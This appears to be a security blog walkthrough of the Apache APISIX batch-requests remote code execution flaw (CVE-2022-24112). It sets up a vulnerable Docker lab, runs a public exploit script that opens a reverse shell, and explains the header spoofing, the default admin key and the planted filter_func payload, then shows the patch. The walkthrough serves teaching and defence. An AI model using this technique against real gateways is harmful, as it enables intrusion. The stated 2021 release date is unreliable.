Apache APISIX < 2.12.1 Remote Code Execution
Apache APISIX is a dynamic, real-time, high-performance API gateway. It provides traffic management features such as load balancing, dynamic upstream, authentication, canary release etc.
On June 16, 2021, Apache officially released a Remote Code Execution vulnerability in Apache APISIX version prior to 2.12.1 . An attacker can abuse the batch-requests plugin in APISIX to send requests to bypass the IP restriction which will result on bypassing whitelists and blacklists. If it uses default configuration, one can invoke the Admin API via the batch-request plugin enabling remote code execution.
In this article, I will go over the how we can set up the environment to exploit this, how this is possible and some mitigation techniques.
Setting up the environment
I am using an Ubuntu 20.04 VM to set this up.
Firstly, we have to download and install Apache APISIX on our local machine. For that there are a couple of choices. You can use RPM Repository, Docker, Helm Chart, or source release package to install it. For the sake of simplicity I am going to use docker. You can also find the steps here
- First we have to clone the Git repo of the APISIX docker container.
2. After that’s done we can navigate to
3. Then we have to edit the
docker-compose.yml file and change
image: apache/apisix:2.12.1-alpine which is under
image: apache/apisix:2.12.0-alpine This is because we need to install a version that is prior to 2.12.1
4. Now, we can use
docker-compose to install and set up the needed docker containers.
docker-compose -p docker-apisix up -d
After this is done, I can access the API with a simple
If we search in
exploit-db we can find a simple python script that will automatically exploit this.
Offensive Security's Exploit Database Archive
Apache APISIX 2.12.1 - Remote Code Execution (RCE). CVE-2022-24112 . remote exploit for Multiple platform
Let’s run the script and see what happens.
python3 poc.py http://127.0.0.1:9080/ 172.18.0.1 9999
NOTE: Make sure to use the IP of the docker interface. I killed a lot of time without using the correct one.
Once I run it, I get a shell as
nobody in my listener.
The script works fine. But where is the fun in running someone else’s script right? So let’s go over the POC script and understand what is does.
First off, we see 2 requests are made to the API. Looking at the
json_data we can see the first request just plants the payload and the second one triggers it.
Here we see its executing commands with
os.execute In the script its using a typical bash reverse shell. As mentioned above, the core of this RCE vulnerability arises with being able to bypass IP restriction and the API using the default configuration.
The IP restriction is bypassed by using
X-Real-IP header setting to
127.0.0.1 A list of such headers are mentioned here. And the other thing is that it is setting
X-API-KEY to the the default admin API token which is
After running the exploit, if we look at the routes with the API, we see a new route is added.
Here we can see our reverse shell is planted in
filter_func. Also something to note is the
uri field. Its set to
/rms/fzxewh. This is per-defined in our
In the second request, a request is made to that endpoint triggering our reverse shell.
A patched version (2.12.1) of APISIX is released. Users can simply upgrade to the unaffected version. As a quick fix, we can comment out the
We can confirm this patch. First we have to delete the existing route from the dashboard http://192.168.1.6:9000/routes/list (username and the password is
And then we have to edit the
docker exec -it <name of the docker container> /bin/sh
Comment the line with
batch-request by adding a
# in front of the line.
Then restart the cluster.
docker-compose -p docker-apisix stop
docker-compose -p docker-apisix up -d
After restarting, we can run the script again. This time we don’t get a shell.